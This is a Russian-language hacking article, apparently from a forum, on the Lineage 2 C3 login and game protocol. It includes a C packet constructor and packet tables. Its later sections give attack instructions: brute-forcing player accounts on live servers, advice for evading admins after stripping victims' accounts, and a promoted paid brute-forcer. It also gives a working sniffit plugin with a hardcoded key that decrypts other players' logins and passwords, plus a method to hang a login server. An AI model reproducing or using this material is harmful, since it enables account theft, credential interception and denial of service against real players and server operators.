printf("\n\n");
}
// главная функция, которая конструирует пакет
int build_auth_packet(char *login, char *pwd) {
int count = AUTH_PKT_LEN / 8;
int i;
char packet_skeleton[] =
// каркас пакета RequestAuthLogin
"\x32\x00" // длина пакета постоянна и равна 0x30 + 0x02
"\x00" // тип пакета (0x00 - RequestAuthLogin)
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x 00\x00" // login
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x 00\x00\x00\x00" // password
"\x08" // означает конец секции login/password
"\x00\x00\x00\x00\x00\x00\x00\x00" // в c3 не применяется (зарезервированно?)
"\x00\x00\x00\x00" // чексумма
"\x00\x00\x00\x00";
// добавляем логин и пароль в пакет
add_lp(packet_skeleton, login, pwd);
// считаем и добавляем чексумму
add_ckecksum(packet_skeleton + 2, AUTH_PKT_LEN - 8);
printf("Auth packet dump (non-crypted):\n");
print_packet(packet_skeleton, AUTH_PKT_LEN);
// шифруем блоками по 8 байт
for(i = 0; i < count; i++)
BF_encrypt((BF_LONG *)((short*)&packet_skeleton+1+i*4), &bfkey, BF_ENCRYPT);
printf("Auth packet dump (encrypted):\n");
print_packet(packet_skeleton,AUTH_PKT_LEN);
}
int main() {
char login[] = "m00", // тестовый логин
pwd[] = "ownzu"; // пароль
printf("\nla2-example.c ~ LineAge2 c3 RequestAuthLogin packet constructor\n\n");
// генерируем sub-keys
BF_set_key(&bfkey, KEY_LEN, key);
// собираем пакет
build_auth_packet(login, pwd);
}
/* eof */
Вот что на моём боксе программа вывела на экран:
bash-2.05b$ ./a.out
la2-example.c ~ LineAge2 c3 RequestAuthLogin packet constructor
checksum: 0x224a0377
Auth packet dump (non-crypted):
__________________________________________________ ____
0x00 | 32 00 00 6d 30 30 00 00 00 00 00 00 00 00 00 00
0x10 | 00 6f 77 6e 7a 75 00 00 00 00 00 00 00 00 00 00
0x20 | 00 08 00 00 00 00 00 00 00 00 77 03 4a 22 00 00
0x30 | 00 00
Auth packet dump (encrypted):
__________________________________________________ ____
0x00 | 32 00 09 d9 97 e2 29 89 8c b5 1a a0 1a 83 74 43
0x10 | 39 fc 2f 03 c3 26 9c 65 b0 c4 20 28 11 c1 6a 95
0x20 | 3e 44 45 46 2a ae b9 18 91 2e 75 56 d0 dc 40 b5
0x30 | 77 2a
bash-2.05b$
1) логин сервер посылает нам приветствие в виде пакета длиной 11 байт (вообще он содержит информацию о версии).
2) мы отвечаем ему RequestAuthLogin запросом
3) если пароль верный, посылает нам пакет с 32-ух битным номером нашего аккаунта (он всегда постоянный) - будем
звать его SessionKey #1.
4) мы отсылаем RequestServerList, на что сервер нам отвечает списком серверов, содержащим ипы,
порты, число играющих пользователей, максимальное число пользователей.
5) мы отсылаем RequestServerLogin, на что сервер проверяет наш AccessLevel (если он равен -1, значит мы забанены)
и в зависимости от нашего логина, пароля, уровня доступа и сокета, генерирует уникальный
32-битный SessionKey #2, по которому в последствие нас авторизует game-сервер.
Если же игровой сервер в дауне, имитирует это состояние (админы делают это для проведения работ на сервере)
или просто-напросто полон, отказывается нас принять.
6) если всё хорошо, лезем на игровой сервер. Отсылаем ему некий пакет (для каждого С3 сервера он свой,
но константный), на что он отвечает 12-ти байтным пакетом, содержащим первые 4 байта ключа, которые
скрепляем с другими 4-мя байтами (которые постоянны) и получаем 64-ёх битный ключ. В дальнейшем будем
использовать его для расшифровки и зашифровки игровых пакетов. Важно отметить, что с каждым
рас(за)шифрованным пакетом, его длина прибавляется к первой части ключа.
7) отсылаем ему логин и два идентификатора (уже в зашифрованном виде), которые мы получили в сеансе
с login-сервером. В ответ получаем список персонажей.
Вот так, в 7 этапов мы авторизуемся на сервере =) Сложно, зато безопасно.
Возможно, у кого-то из вас возник вопрос: а возможно ли зайти на игровой сервер напрямую? Без участия
логин сервера. Об этом я напишу ниже.
Как я уже писал выше, для шифрования игровых пакетов lineage использует 64-битный ключ. Первые
его 4 байта берутся из самого первого пакета game-сервера, вторые же-константы. Далее берётся N-ный символ
из открытого текста, XOR'ится с N-ным байтом ключа. Параллельно с этим XOR'ится (N-1)-ный символ
из открытого текста по 0xFF. Над результатами обоих вычислений проводится операция "поразрядное И".
И по такому алгоритму шифруется каждый символ начиная с первого. Как видите, как будет зашифрован
каждый последующий символ, зависит от предыдущего. А это значит, что если у нас по тем или иным
причинам повреждена первая часть пакета, либо её попросту нет, расшифровать вторую часть мы не
сможем. Ну это так, к слову. На самом деле это для нас не важно.
Ещё важно отметить то, что первая часть ключа переменна. С каждым новым расшифрованным пакетом,
к первым 4-ём байтам прибавляется длина этих данным. То есть, имея первоначальный ключ (на момент
соединения с логин сервером) и, выдернув пакет в определённый момент из сеанса с game-сервером,
расшифровать его мы не сможем. Для этого нам нужно восстановить все пакеты, которые были до него.
В принципе, количество возможных комбинаций ключа равно ~423 миллиона. С учётом простоты
алгоритма, современные компьютеры смогут произвести где-то 10 000 итераций в секунду (может даже
и больше) и найти ключ максимум за 12 часов. Но для этого нам понадобится знать хотя бы примерно
содержание пакета.
Для чего авторы сделали ключ переменным? Думаю, всем понятно, в целях безопасности. Хотя, речь идёт
о TCP (а не о UDP как в том же самом halflife), в котором кому-то постороннему "вклиниться" в сеанс
крайне затруднительно.
Как и в пакетах login-сервера, первые два байта отводятся под длину. Далее байт означает тип пакета.
Вот типы пакетов, которые должен обрабатывать С3 клиент lineage2 (некоторые буду комментировать):
// отсылает login-сервер
0x01 loginfail2
0x02 accountKicked1
0x03 loginok
0x04 serverlist
0x05 serverfail
0x06 playfail
0x07 playok
0x08 accountKicked
0x09 blockedAccMsg // бан
0x20 protocol version different
0x00 VersionCheck
// отсылает game-сервер
0x01 MoveToLocation
0x02 NpcSay
0x03 CharInfo // имеется в виду окружающие персы
0x04 UserInfo
0x06 Attack
0x07 Attack
0x08 Attacked
0x09 Attacked
0x0a AttackCanceld
0x0b Die
0x0c Revive
0x0d AttackOutOfRange
0x0e AttackInCoolTime
0x0f AttackDeadTarget
0x10 LeaveWorld
0x11 AuthLoginSuccess
0x12 AuthLoginFail
0x13 CharList // список чаров
0x15 SpawnItem // на некоторых С3 ответ на выбор чара
0x16 DropItem // на некоторых С3 передаёт инфо о мобе
0x17 GetItem
0x18 EquipItem
0x19 UnequipItem
0x1a StatusUpdate
0x1b NpcHtmlMessage // на некоторых С3 передаёт список шмота с ItemID и их ObjectID
0x1c SellList
0x1d BuyList
0x1e DeleteObject
0x1f CharSelectInfo
0x20 LoginFail
0x21 CharSelected
0x22 NpcInfo
0x23 NewCharacterSuccessPacket
0x24 NewCharacterFailPacket
0x25 CharCreateOk
0x26 CharCreateFail
0x27 ItemList
0x28 SunRise
0x29 SunSet
0x2a EquipItemSuccess // устарел
0x2b EquipItemFail // устарел
0x2c UnEquipItemSuccess // устарел
0x2d UnEquipItemFail // устарел
0x2e TradeStart
0x2f TradeStartOk // устарел
0x30 TradeOwnAdd
0x31 TradeOtherAdd
0x32 TradeDone
0x33 CharDeleteSuccess
0x34 CharDeleteFail
0x35 ActionFail
0x36 ServerClose
0x37 InventoryUpdate
0x38 TeleportToLocation
0x39 TargetSelected
0x3a TargetUnselected
0x3b AutoAttackStart
0x3c AutoAttackStop
0x3d SocialAction
0x3e ChangeMoveType
0x3f ChangeWaitType
0x40 NetworkFail // устарел
0x43 CreatePledge
0x44 AskJoinPledge
0x45 JoinPledge
0x46 WithdrawalPledge
0x47 OustPledgeMember
0x48 SetOutPledgeMember
0x49 DismissPledge
0x4a SetDismissPledge
0x4b AskJoinParty
0x4c JoinParty
0x4d WithdrawalParty
0x4e OustPartyMember
0x4f SetOustPartyMember
0x50 DismissParty
0x51 SetDismissParty
0x52 MagicAndSkillList
0x53 WarehouseDepositList
0x54 WarehouseWithdrawalList
0x55 WarehouseDone
0x56 ShortCutRegister
0x57 ShortCutInit
0x58 ShortCutDelete
0x59 StopMove
0x5a MagicSkillUser
0x5b MagicSkillCanceld
0x5d CreatureSay
0x5e EquipUpdate
0x5f StopMoveWithLocation
0x60 DoorInfo
0x61 DoorStatusUpdate
0x63 PartySmallWindowAll
0x64 PartySmallWindowAdd
0x65 PartySmallWindowDeleteAll
0x66 PartySmallWindowDelete
0x67 PartySmallWindowUpdate
0x68 PledgeShowMemberListAll
0x69 PledgeShowMemberListUpdate
0x6a PledgeShowMemberListAdd
0x6b PledgeShowMemberListDelete
0x6c MagicList // устарел
0x6d SkillList
0x6e VehicleInfo
0x6f VehicleDeparture
0x70 VehicleCheckLocation
0x71 GetOnVehicle
0x72 GetOffVehicle
0x73 TradeRequest
0x74 RestartResponse
0x75 MoveToPawn
0x76 SetTo
0x77 StartRotating
0x78 FinishRotating
0x79 MoveBackwardToLocation // имеется ввиду скилл или to_the_nearest_village после смерти
0x7a SystemMessage
0x7d StartPledgeWar
0x7e ReplyStartPledgeWar
0x7f StopPledgeWar
0x80 ReplyStopPledgeWar
0x81 SurrenderPledgeWar
0x82 ReplySurrenderPledgeWar
0x83 SetPledgeCrest // устарел
0x84 PledgeCrest
0x85 SetupGauge
0x86 ShowBoard
0x87 ChooseInventoryItem
0x89 MoveToLocationInVehicle
0x8a StopMoveInVehicle
0x8b ValidateLocationInVehicle
0x8c TradeOtherAdd2
0x8d TradePressOwnOK // устарел
0x8e MagicSkillLaunched
0x8f FriendAddRequestResult
0x90 FriendAdd // устарел
0x91 FriendRemove // устарел
0x92 FriendList // устарел
0x93 FriendStatus // устарел
0x94 TradePressOtherOk // устарел
0x95 FriendAddRequestResult2
0x96 LeaveWorld2
0x97 AbnormalStatusUpdate
0x98 QuestList
0x99 EnchantResult
0x9a AuthServerList // устарел
0x9b PledgeShowMemberListDeleteAll
0x9c PledgeInfo
0x9d PledgeExtendedInfo
0x9e SurrenderPersonally
0x9f Ride
0xa1 PledgeShowInfoUpdate
0xa2 ClientAction
0xa3 AquireSkillList
0xa4 AquireSkillInfo
0xa5 ServerObjectInfo
0xa6 HideGm
0xa7 AquireSkillDone
0xa8 GMViewCharacterInfo
0xa9 GMViewPledgeInfo
0xaa GMViewSkillInfo
0xab GMviewMagicInfo
0xac GMViewQuestInfo
0xad GMViewItemList
0xae GMViewWarehouseWithdrawList
0xaf PartyMatchList
0xb0 PartyMatchDetail
0xb1 PlaySound
0xb2 StaticObject
0xb3 PrivateSellList2
0xb4 PrivateBuyList2
0xb5 PrivateStoreMsg
0xb6 ShowMinimapPacket
0xb7 ReviveRequest // устарел
0xb8 AbnormalVisualEffect
0xb9 TutorialShowHtml
0xba TutorialShowQuestionMark
0xbb TutorialEnableClientEvent
0xbc TutorialClose
0xbd ShowRadar
0xbe DeleteRadar
0xbf MyTargetSelected
0xc0 PartyMemberPosition
0xc1 AskJoinAlliance
0xc2 JoinAlliance
0xc3 WithdrawAlliance
0xc4 OustAllianceMemberPledge
0xc5 DismissAlliance
0xc6 SetAllianceCrest // устарел
0xc7 ReceiveAllyCrest
0xc8 ServerCloseSocket // устарел
0xc9 PetStatusShow
0xca PetInfo
0xcb PetItemList
0xcc PetInventoryUpdate
0xcd AllianceInfo // устарел
0xce PetStatusUpdate
0xcf PetDelete
0xd0 PrivateSellList
0xd1 PrivateBuyList
0xd2 PrivateStoreMsg
0xd3 VehicleStart
0xd4 RequestTimeCheck
0xd5 StartAllianceWar
0xd6 ReplyStartAllianceWar // устарел
0xd7 StopAllianceWar
0xd8 ReplyStopAllianceWar // устарел
0xd9 SurrenderAllianceWar // устарел
0xda SkillCoolTimePacket
0xdb PackageToListPacket
0xdc PackageSendableListPacket
0xdd EarthQuake
0xde FlyToLocation
0xdf BlockList // устарел
0xe0 SpecialCamera
0xe1 NormalCamera
0xe2 CastleSiegeInfoPacket
0xe3 CastleSiegeAttackerList
0xe4 CastleSiegeDefenderList
0xe5 NickNameChanged
0xe6 PledgeStatusChanged
0xe7 RelationChanged
0xe8 OnEventTrigger
0xe9 MultiSellListPacket
0xea SetSummonRemainTime
0xeb OnSkillRemainSec
0xec NetPingPacket
От клиента серверу:
0x01 MoveBackwardToLocation
0x02 Say
0x03 EnterWorld
0x04 Action
0x08 RequestAuthLogin
0x09 Logout
0x0a Attack
0x0b CharacterCreate
0x0c CharacterDelete
0x0d CharacterSelect
0x0e NewCharacter
0x0f ItemList
0x10 RequestEquipItem
0x11 RequestUnEquipItem
0x12 RequestDropItem
0x12 RequestDropItemFromPet
0x14 UseItem
0x15 TradeRequest
0x16 AddTradeItem
0x17 TradeDone
0x1a RequestTeleport
0x1b SocialAction
0x1c ChangeMoveType // устарел. Теперь юзается 'RequestActionUse'
0x1d ChangeWaitType // устарел. Теперь юзается 'RequestActionUse'
0x1e RequestSellItem
0x1f RequestBuyItem
0x20 RequestLinkHtml
0x21 RequestBypassToServer
0x22 RequestBBSwrite
0x23 RequestCreatePledge
0x24 RequestJoinPledge
0x25 RequestAnswerJoinPledge
0x26 RequestWithDrawalPledge
0x27 RequestOustPledgeMember
0x28 RequestDismissPledge
0x29 RequestJoinParty
0x2a RequestAnswerJoinParty
0x2b RequestWithDrawalParty
0x2c RequestOustPartyMember
0x2d RequestDismissParty
0x2e RequestMagicSkillList
0x2f RequestMagicSkillUse
0x30 Appearing
0x31 SendWareHouseDepositList
0x32 SendWareHouseWithDrawList
0x33 RequestShortCutReg
0x34 RequestShortCutUse
0x35 RequestShortCutDel
0x37 RequestTargetCancel
0x38 Say2 // приват (на некоторых серверах - la2.ru - юзается 0x39)
0x3c RequestPledgeMemberList
0x3e RequestMagicList
0x3f RequestSkillList
0x41 MoveWithDelta
0x42 GetOnVehicle
0x43 GetOffVehicle
0x44 AnswerTradeRequest
0x45 RequestActionUse
0x46 RequestRestart
0x47 RequestSiegeInfo
0x48 ValidatePosition
0x49 RequestSEKCustom
0x4a StartRotating
0x4b FinishRotating
0x4d RequestStartPledgeWar
0x4e RequestReplyStartPledgeWar
0x4f RequestStopPledgeWar
0x50 RequestReplyStopPledgeWar
0x51 RequestSurrenderPledgeWar
0x52 RequestReplySurrenderPledgeWar
0x53 RequestSetPledgeCrest
0x55 RequestGiveNickName // вообще юзается для установки тайтла CL'ами. Может для чего ещё..
0x57 RequestShowboard
0x58 RequestEnchantItem
0x59 RequestDestroyItem
0x5b SendBypassBuildCmd
0x5e RequestFriendInvite
0x5f RequestFriendAddReply
0x60 RequestFriendList
0x61 RequestFriendDel
0x62 CharacterRestore
0x63 RequestQuestList
0x64 RequestDestroyQuest
0x66 RequestPledgeInfo
0x67 RequestPledgeExtendedInfo
0x68 RequestPledgeCrest
0x69 RequestSurrenderPersonally
0x6a Ride
0x6b RequestAcquireSkillInfo
0x6c RequestAcquireSkill
0x6d RequestRestartPoint
0x6e RequestGMCommand
0x6f RequestPartyMatchConfig
0x70 RequestPartyMatchList
0x71 RequestPartyMatchDetail
0x72 RequestCrystallizeItem
0x73 RequestPrivateStoreManage
0x74 SetPrivateStoreList
0x75 RequestPrivateStoreManageCancel
0x76 RequestPrivateStoreQuit
0x77 SetPrivateStoreMsg
0x78 RequestPrivateStoreList
0x79 SendPrivateStoreBuyList
0x7a ReviveReply
0x7b RequestTutorialLinkHtml
0x7c RequestTutorialPassCmdToServer
0x7d RequestTutorialQuestionMark
0x7e RequestTutorialClientEvent
0x7f RequestPetition
0x80 RequestPetitionCancel
0x81 RequestGMList
0x82 RequestJoinAlly
0x83 RequestAnswerJoinAlly
0x84 RequestWithdrawAlly
0x85 RequestOustAlly
0x86 RequestDismissAlly
0x87 RequestSetAllyCrest
0x88 RequestAllyCrest
0x89 RequestChangePetName
0x8a RequestPetUseItem
0x8b RequestGiveItemToPet
0x8c RequestGetItemFromPet
0x8e RequestAllyInfo
0x8f RequestPetGetItem
0x90 RequestPrivateStoreBuyManage
0x91 SetPrivateBuyList
0x92 RequestPrivateStoreBuyManageCancel
0x93 RequestPrivateStoreBuyQuit
0x94 SetPrivateBuyMsg
0x95 RequestPrivateStoreBuyList
0x96 SendPrivateStoreBuyBuyList
0x97 SendTimeCheckPacket
0x98 RequestStartAllianceWar
0x99 ReplyStartAllianceWar
0x9a RequestStopAllianceWar
0x9b ReplyStopAllianceWar
0x9c RequestSurrenderAllianceWar
0x9d RequestSkillCoolTime
0x9e RequestPackageSendableItemList
0x9f RequestPackageSend
0xa0 RequestBlock
0xa1 RequestCastleSiegeInfo
0xa2 RequestCastleSiegeAttackerList
0xa3 RequestCastleSiegeInfo
0xa4 RequestJoinCastleSiege
0xa5 RequestConfirmCastleSiegeWaitingList
0xa6 RequestSetCastleSiegeTime
0xa7 RequestMultiSellChoose
0xa8 NetPing
Как видите, большинство клиентских пакетов начинается со слова Request, что переводится как "запрос".
Да, действительно, весь процесс игры выглядит примерно так: сервер постоянно передаёт нам состояние мира,
положение мобов/игроков/npc и тд. Мы же, когда что-то надо (пойти, атаковать и тд) передаём "запрос". Всё
очень просто.
Каждая вещь (предмет, NPC) в игре имеет свой 16/32-битный идентификатор (профессии - 8-ми битный).
Его смысл в том, что, согласитесь, удобнее передавать по сети 2/4-х байтное число, чем фразу Н-ной длины вроде:
"Crystal Scroll: Enchant Weapon (Grade B)" или ник NPC вроде "Magister MacTePqpJlOMaCTeP". Как вы понимаете, он
служит для идентификации того или иного объекта. Список этих идентификаторов и соответствующих им NPC/предметов
храниться и на сервере и клиенте, и между собой они никак не синхронизируется. То есть, если сменить эту таблицу
на сервере, то нужно патчить и клиент - это одна из причин, почему у каждого сервера свой патч.
Помимо этого идентификатора есть ещё 32-ух битный Object ID. После захода в игровой мир, сервер присваивает
каждому из предметов, которые есть у перса, свой уникальный OID. Причём OID каждого последующего предмета есть
OID текущего -1. То есть OID генерируется отнюдь не рандомно, а по порядку. После присвоения, OID
резервируется, так чтобы никто больше не умудрился получить аналогичный. Эта информация, кстати, не
подтверждена исходниками, то есть является моим собственным умозаключением. Если же это не так, то по
прошествию полного круга (от 0xFFFFFFFF до 0x00000000) может получится так, что уже занятый OID будет присвоен
новой шмотке, что приведят к неизвестным последствиям (возможности клонирования или простому падению сервера).
Но проблема в том, что диапазон OID довольно таки велик :) А если быть более точным, нужно присвоить OID
~4.3 млрду вещей, чтобы пройти полный круг, что даже на сервере с мега-онлайном займёт Н-ное число дней
(а может и недель). Ещё раз повторюсь, это всего-лишь предположение. Но дело в том, что я, например, не
видил ниодного la2 сервера (даже офф) с аптаймом более недели. Может проблема как раз в этом?
А в целом, OID нужен для борьбы с клонированием. А точнее с выявлением оного.
Что касается NPC, OID у них выдаётся по такому же закону, но при появлении NPC в мире. С OID персонажей то же самое.
Для того, чтобы поставить на скупку предмет, нам нужно воспользоваться 3-мя пакетами.
Первый 0x94 (SetPrivateBuyMsg). Как видно из названия он устанавливает то сообщение, которое будет
выводится над головой у перса в момент торговли (то, которое на жёлтом фоне). Вот пример:
// SetPrivateStoreBuyMsg пакет
XX XX // Размер данных
94 // тип пакета
41 00 41 00 41 00 42 00 42 00 42 00 // текст. Символы должны быть разделены между собой null-байтом.
00 00 // конец пакета
Далее используем пакет типа 0x91 (SetPrivateBuyList). В нём как раз передаём количество предметов,Item ID
и цену. Например:
// SetPrivateStoreList пакет
XX XX // Размер данных
91 // тип пакета
01 00 00 00 // количество вещей
// начало блока
e1 02 00 00 // Item ID
00 00
01 00 00 00 // сколько предметов данного типа скупить
e8 03 00 00 // цена
// конец блока
Немного поясню этот пакет. Им мы поставили на скупку 1 вещь с IID 0x2e1 (Scroll of Resurrection) за 1000 аден.
И последний пакет типа 0x1d. Он непосредственно запускает торговлю:
XX XX // размер данных
1d // тип
01 00 00 00 // кол-во
Что касается продажи, то там практически всё то же самое. Только вместо 'SetPrivateBuyMsg' юзаем
'SetPrivateStoreMsg', а вместо 'SetPrivateBuyList' - 'SetPrivateStoreList' соответственно.
А, чуть не забыл, вместо Item ID юзаем Object ID, потому что мы продаём какой-то конкретный предмет.
Тут всё очень просто.
XX XX // размер данных
38 // тип пакета (Say2)
42 00 42 00 42 00 42 // сообщение (BBBB)
00 00 00 02 00 00 00 // пробел =)
41 00 41 00 41 00 41 // ник (АААА)
00 00 00 // конец
XX XX // длина пакета
1b // тип пакета (0x1b на antaras.ru)
00 00
05 00 // количество предметов
04 00 // тип шмотки
1e 26 14 40 // Object ID
d4 15 00 00 // Item ID (0x15d4 - Tutorial Guide)
01 00 00 00 // Количество
05 00 00 00 00 00 00 00 00 00 00 00 00 00 // Заточка, квестовый итем, дропается или нет и ещё что-то
01 00 // тип шмотки
1d 26 14 40 // Object ID
7b 04 00 00 // Item ID (0x47b - Squire's pants)
01 00 00 00 // Количество
01 00 00 00 00 00 00 08 00 00 00 00 00 00
01 00 // тип шмотки
1c 26 14 40 // Object ID
7a 04 00 00 // Item ID (0x47a - Squire's Shirt)
01 00 00 00 // Количество
01 00 00 00 00 00 00 04 00 00 00 00 00 00
00 00 // тип шмотки
1b 26 14 40 // Object ID
0a 00 00 00 // Item ID (0x0a - dagger)
01 00 00 00 // Количество
00 00 00 00 00 00 80 00 00 00 00 00 00 00
00 00 // тип шмотки
1a 26 14 40 // Object ID
42 09 00 00 // Item ID (0x942 - Guild Member's Club)
01 00 00 00 // Количество
00 00 00 00 00 00 80 00 00 00 00 00 00 00
04 // тип пакета (Action)
51 14 10 48 // OID NPC
// далее идут координаты _нашего_ персонажа
c6 51 01 00 // X
52 45 02 00 // Y
b8 f2 ff ff // Z
00 // конец
Причём однократная посылка этого пакета - выделение NPC. Чтобы завести с ним диалог, нужно послать этот пакет
ещё раз.
Далее, когда открывается окно с выбором диалогов и вы выбираете пункт "Learn skills", клиент серверу отсылает вот
такой пакет:
21 // тип пакета (RequestBypassToServer)
6c 00 65 00 61 00 72 00 6e 00 5f 00 73 00 6b 00 69 00 6c 00 6c 00 00 // learn_skill
00 // конец
После вызова диалога со скиллами, вы можете либо посмотреть информацию о любом скилле с помощью:
6b // тип пакета (RequestAcquireSkillInfo)
10 00 00 00 // номер скилла
09 00 00 00 // уровень
Чтобы выучить этот скилл, посылается точно такой же пакет, но с типом 0x63 (RequestAcquireSkill)
1. отсутствие лимита на кол-во попыток авторизации
Это даёт возможность к бесконечному перебору паролей к тому или иному аккаунту. Я не буду
описывать как и чего, брутфорсер он и в Африке брутфорсер. Расскажу лишь о своём личном опыте
в этой области.
Испытание проводилось на [Ссылки могут видеть только зарегистрированные и активированные пользователи] - старый, вымирающий отечественный lineage2 C1OFF сервер
(с добавками из с3). Используя только ту информацию (ну и non-blocking sockets), что я
предоставил выше, был написан брутфорсер (переборщик логинов и паролей) и программа, которая
выдирает список ников, играющих в данный момент на сервере с '[Ссылки могут видеть только зарегистрированные и активированные пользователи]'.
Составил от балды список паролей типа 123456789, 0987654321 (на antaras.ru минимальная длина
пароля 8 символов - на всех серверах по-разному), список с никами,в данный момент играющих на
сервере геймеров,составил ~1500 строк. Переборщик я запускал с постороннего сервера, дабы не
палить свой ип. Итого, за ночь было вскрыто порядка 50 аккаунтов. Но, к сожалению, большая половина
аккаунтов были либо пусты, либо с персонажами маленького уровня. Зато остальная малая часть...
Скажу лишь, что суммарный урон, нанесённый геймерам, составил чуть больше 1ккк игровых денег (шмотом)
или порядка 400$ ,если переводить в реальные - хотя как сторгуешься. Но, честно говоря, он не
"составил", а "составил бы". Я, на самом деле, абсолютно ничего не взял с этих аккаунтов, а нашёл
немного иное приминение всему этому ;) Об этом ниже.
Есть 3 подводных камня во взломе аккаунтов этим методом.
Во-первых, если мы логинимся на сервер под взломанным аккаунтом, а владелец его юзает в данный
момент, то у него на экране появляется надпись, что кто-то ломится :/ Именно поэтому брутфорсер
я зарядил на ночь, а вообще это лучше делать утром. Но, по моему небольшому опыту, могу сказать,
что, то ли юзеры не обращают внимание на эту надпись, то ли не знают английского, то ли вообще
не умеют менять пароль, но у меня проблем с такими аккаунтами (на которых кто-то играл) не возникло.
Имею в виду, никто не сменил пароль из тех, кто меня пропалил.
Во-вторых, ник != логин. Моя программа брала ники игроков, которые играли на сервере, но отнюдь
не их логины. Но это тоже не особо серьёзная проблема в случае такого "массового" взлома, так как
даже если у человека с ником NICKNAME логин LOGINNAME, то обязательно найдётся кто-то с логином
NICKNAME и перебор паролей к нику NICKNAME не пройдёт напрасно, хоть мы взломаем и не этого
конкретного персонажа.
В-третьих, если вы раздели того или иного персонажа, он может обратиться к администрации и есть
вероятность, что ему всё вернут. Как это предотвратить? Я с этим не сталкивался, но, помыслив
логически, могу предположить, что:
Они всё вернут, если чел докажет, что его раздели. Вы же можете сказать в своё оправдание,
что купили у него всё за реал - это же нигде не фиксируется - а чел захотел вас кинуть. Для большей
убедительности, в момент "раздевания" переведите со своего кошелька на любой другой кругленькую
сумму и сделайте скриншот.
Но админы, в свою очередь ,могут посмотреть в логах и увидеть там тысячи попыток залогиниться, соответственно
дайте аккаунту недельки две отстоятся после взлома, пусть логи об атаке канут в лету. Также админы
могут обратить внимание на ип, с которого обычно заходит жертва и его несоответствие с тем, с которого
он был раздет. Тут уж.. Можете найти того, кто юзает этого же провайдера, либо воспользоваться его
услугами самостоятельно, либо сломать один из его боксов, либо пытаться обьяснить админам,
что он просто так ловко вас подставил.
Программ, которые реализуют описанный способ взлома Lineage2 аккаунтов, в интернете я не видел...
Именно поэтому решил написать и продавать свою - la2brute.5bb.ru.
Нужно признать, что с началом повального её использования, аккаунты ломать стало всё сложнее и сложнее.
Если я, после того как её написал (где-то в феврале 2006-го), на Российских популярных серверах мог
сломать по 30-50 аккаунтов за ночь, то сейчас эта цифра в 4-5 раз меньше.
И последнее, хочется отметить, что единственный сервер, который сделал-таки защиту от перебора, был la2.abyss.ru.
Хотя на самом деле, ещё на antaras.ru ввели защиту - блокирование аккаунта на 5 минут после 40-ка
ошибочных попыток залогиниться. Но при том массовом переборе, о котором я писал выше, эта защита
практически бесполезна.
2. Шифрование пакетов
Как я уже говорил выше, ключ, который используется для генерации подключей в логин сервере, постоянный.
Оно и понятно, ведь для вычисления всех значений P и S алгоритм шифрования Blowfish необходимо выполнить
521 раз. Если выполнять генерацию новых значений при каждом клиенте, это будет сжирать крайне много
системных ресурсов. Но дело в том, что l2j так и делает! Хоть ключ и постоянный, l2j генерирует подключи
для каждого соединения! Я не знаю, как офф версия (у меня её нет и её очень трудно достать), но l2j
доказывает, что нынешним компьютерам это вполне под силу.
А проблема заключается в том, что мы можем снифать чужие сеансы и с лёгкостью их расшифровывать,
вытаскивая логин и пароль. Так в чём же тогда смысл шифрования пакетов blowfish'ем?
Я написал плагин для sniffit версии 0.3.7.beta, который ловит и расшифровывает все пакеты, проходящие
через ваш компьютер и содержащие логин/пароль к lineage2 аккаунтам.
====> la2_plugin.plug <====
/*
Sniffit 0.3.7.beta LineAge2 c3 plugin
Allows to catch and decode la2 RequestAuthLogin packets *on the fly*
and dump login/passwords.
by darkgrey / m00.blackhat.ru
~broken
*/
#include "/usr/local/include/blowfish.h"
#define KEY_LEN 20
BF_KEY bfkey;
char key[] = "[;'.]94-31==-&%@!^+]";
void init_la2_plugin() {
printf("LineAge2 C3 plugin enabled\n\n");
BF_set_key(&bfkey, KEY_LEN, key);
}
void PL_la2_plugin (struct Plugin_data *PLD) {
int i = 0;
int count = (PLD->PL_info.DATA_len - 2) / 8;
char *ptr = PLD->PL_data;
unsigned char *ls_ip;
if(PLD->PL_info.DATA_len == 0x32 && PLD->PL_info.UDP_len == 0) {
ls_ip=(unsigned char *)&(PLD->PL_iphead.destination);
printf("Login Server ip: %u.%u.%u.%u\n",ls_ip[0],ls_ip[1],ls_ip[2],ls_ip[3]);
for(i = 0; i < count; i++)
BF_encrypt((BF_LONG *)((short*)ptr+1+i*4), &bfkey, BF_DECRYPT);
i = 2; printf("Login: ");
while(PLD->PL_data[i++] != '\x00' || i != 16)
printf("%c",PLD->PL_data[i]);
printf("\nPassword: ");
while(PLD->PL_data[i++] != '\x00' || PLD->PL_data[i] != '\x08')
printf("%c",PLD->PL_data[i]);
printf("\n");
}
}
/* eof */
====> sn_plugins.h <====
#define PLUGIN2_NAME "LineAge2 c3 Plugin"
#define PLUGIN2(x) PL_la2_plugin(x)
#define PLUGIN2_INIT() init_la2_plugin()
#include "la2_plugin.plug"
/* eof */
Для того, чтобы его использовать, вам нужно скопировать оба файла в каталог со sniffit. Ну и для
компиляции вам понадобится всё та же библиотека blowfish и соответствующая запись в make-файле.
m00.blackhat.ru/m00-la2sniff.jpg - демонстрирует работу переборщика паролей к lineage2 серверам
и параллельно запущенный sniffit с установленным плагином на примере [Ссылки могут видеть только зарегистрированные и активированные пользователи] (217.107.212.212 -
ип логин-сервера).
3. Удалённое определение версии lineage2 сервера
Помните я говорил, что последние 8 байт в пакетах логин-сервера отводятся под чексумму? Точнее, из них
предпоследние 4 :> А если вдруг оставить пакет без чексуммы, офф версия lineage сервера нас просто-
напросто дисконнектит. В l2j функция, которая проверяет чексумму возвращает true или false,
но почему-то возвращаемое значение не проверяется. То есть, фактически l2j не проверяет чексумму.
Соответственно, если дисконнект, то офф, если нет, то l2j.
4. Удалённое "подвешивание" login-сервера
Было замечено, что некоторые серверы на пакеты, не содержащие логина/пароля отвечают пакетом типа 0x03
(который означает, что вы успешно авторизованы). После чего начинают вести себя крайне нестабильно.
Я проверил это на 10-ти крупных С3 серверах, половина никак не отвечала на такой пакет, другая
отвечала пакетом 0x01 (авторизация не прошла), но только [Ссылки могут видеть только зарегистрированные и активированные пользователи] посылал 0x03 и на время прекращал
принимать входящие соединения (видимо, у них установлена система "авто-подъёма").
Для реализации программы, которая бы подвешивала la2.ru, вам нужно всего-лишь смешать выше-предоставленный
генератор пакетов с простым tcp-клиентом.
Бесконечный цикл посыла подобных пакетов приведёт к невозможности зайти на игровой сервер.
5. Клонирование
Уязвимость о которой сейчас пойдёт речь имела место быть в С1 версии ЛА2, поэтому особо заострять внимание
на ней не буду.
